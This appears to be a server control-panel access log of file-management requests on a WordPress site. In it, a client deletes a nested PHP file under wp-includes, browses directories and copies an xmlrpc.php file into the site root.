["2026-03-10 09:49:06", "58.209.19.68:2614", "POST", "/files?action=file_history", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'name': 'undefined', 'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/Core32/Curve25519/cache_ipbanned.php'}", 3, 200, 51, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:49:10", "58.209.19.68:2752", "POST", "/files?action=DeleteFile", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/Core32/Curve25519/cache_ipbanned.php'}", 16, 200, 88, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:49:31", "58.209.19.68:2752", "POST", "/files?action=GetDirNew", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'path': '/www/wwwroot/dewenlabels.com', 'search': 'styles.php', 'all': 'True'}", 229, 200, 719, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:49:43", "58.209.19.68:2752", "POST", "/panel/public/get_public_config?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 49, 200, 1658, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:49:43", "58.209.19.68:2773", "POST", "/panel/public/get_soft_status?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'name': 'web'}", 4, 200, 154, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:49:43", "58.209.19.68:2627", "POST", "/site?action=get_site_types", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 5, 200, 101, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:49:43", "58.209.19.68:2628", "POST", "/datalist/data/get_data_list?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'type': '-1', 'search': '', 'p': '1', 'limit': '10', 'table': 'sites', 'order': ''}", 10, 200, 489, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:49:43", "58.209.19.68:2617", "POST", "/project/scanning/list?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 28, 200, 107, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:49:46", "58.209.19.68:2628", "POST", "/panel/public/get_public_config?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 51, 200, 1656, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:49:46", "58.209.19.68:2617", "POST", "/task?action=get_task_lists", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'status': '-3'}", 5, 200, 2, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:49:46", "58.209.19.68:2773", "POST", "/files?action=GetDirNew", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'path': '/www/wwwroot/dewenlabels.com'}", 11, 200, 1041, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:49:46", "58.209.19.68:2752", "POST", "/plugin?action=get_soft_find", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'sName': 'disk_analysis'}", 7, 200, 927, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:49:46", "58.209.19.68:2627", "POST", "/system?action=GetDiskInfo", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 30, 200, 322, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:49:47", "58.209.19.68:2773", "POST", "/files?action=get_files_store", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 2, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:49:48", "58.209.19.68:2773", "POST", "/files?action=GetDirNew", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'path': '/www/wwwroot'}", 6, 200, 640, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:49:50", "58.209.19.68:2773", "POST", "/files?action=GetDirNew", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'path': '/www/wwwroot/\u65b0\u5efa\u6587\u4ef6\u5939'}", 7, 200, 1098, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:49:58", "58.209.19.68:2773", "POST", "/files?action=GetDirNew&tojs=GetFiles", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'sort': 'name', 'reverse': 'False', 'path': '/www/wwwroot/\u65b0\u5efa\u6587\u4ef6\u5939', 'search': ''}", 6, 200, 1098, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:49:58", "58.209.19.68:2627", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/server/panel/BTPanel/static/editor/ace.editor.config.json'}", 2, 200, 1117, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:49:58", "58.209.19.68:2752", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/\u65b0\u5efa\u6587\u4ef6\u5939/xmlrpc.php'}", 6, 200, 1445, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:49:59", "58.209.19.68:2773", "POST", "/files?action=file_history", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'name': 'undefined', 'path': '/www/wwwroot/\u65b0\u5efa\u6587\u4ef6\u5939/xmlrpc.php'}", 3, 200, 51, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:50:17", "58.209.19.68:2628", "POST", "/panel/public/get_public_config?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 49, 200, 1657, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:50:17", "58.209.19.68:2773", "POST", "/datalist/data/get_data_list?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'type': '-1', 'search': '', 'p': '1', 'limit': '10', 'table': 'sites', 'order': ''}", 11, 200, 492, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:50:17", "58.209.19.68:2752", "POST", "/panel/public/get_soft_status?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'name': 'web'}", 4, 200, 154, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:50:17", "58.209.19.68:2617", "POST", "/site?action=get_site_types", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 4, 200, 101, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:50:17", "58.209.19.68:2617", "POST", "/project/scanning/list?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 29, 200, 107, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:50:18", "58.209.19.68:2617", "POST", "/panel/public/get_public_config?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 51, 200, 1655, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:50:18", "58.209.19.68:2752", "POST", "/task?action=get_task_lists", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'status': '-3'}", 7, 200, 2, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:50:18", "58.209.19.68:2773", "POST", "/plugin?action=get_soft_find", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'sName': 'disk_analysis'}", 7, 200, 927, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:50:18", "58.209.19.68:2628", "POST", "/system?action=GetDiskInfo", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 28, 200, 322, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:50:18", "58.209.19.68:2627", "POST", "/files?action=GetDirNew", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'path': '/www/wwwroot/dewenlabels.com'}", 6, 200, 1041, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:50:19", "58.209.19.68:2627", "POST", "/files?action=get_files_store", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 2, 200, 2, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:50:22", "58.209.19.68:2628", "POST", "/files?action=CheckExistsFiles", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'dfile': '/www/wwwroot/dewenlabels.com', 'filename': 'xmlrpc.php'}", 3, 200, 2, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:50:23", "58.209.19.68:2628", "POST", "/files?action=CopyFile", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'sfile': '/www/wwwroot/\u65b0\u5efa\u6587\u4ef6\u5939/xmlrpc.php', 'dfile': '/www/wwwroot/dewenlabels.com/xmlrpc.php'}", 81, 200, 64, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:50:23", "58.209.19.68:2628", "POST", "/files?action=GetDirNew", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'path': '/www/wwwroot/dewenlabels.com'}", 11, 200, 1059, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]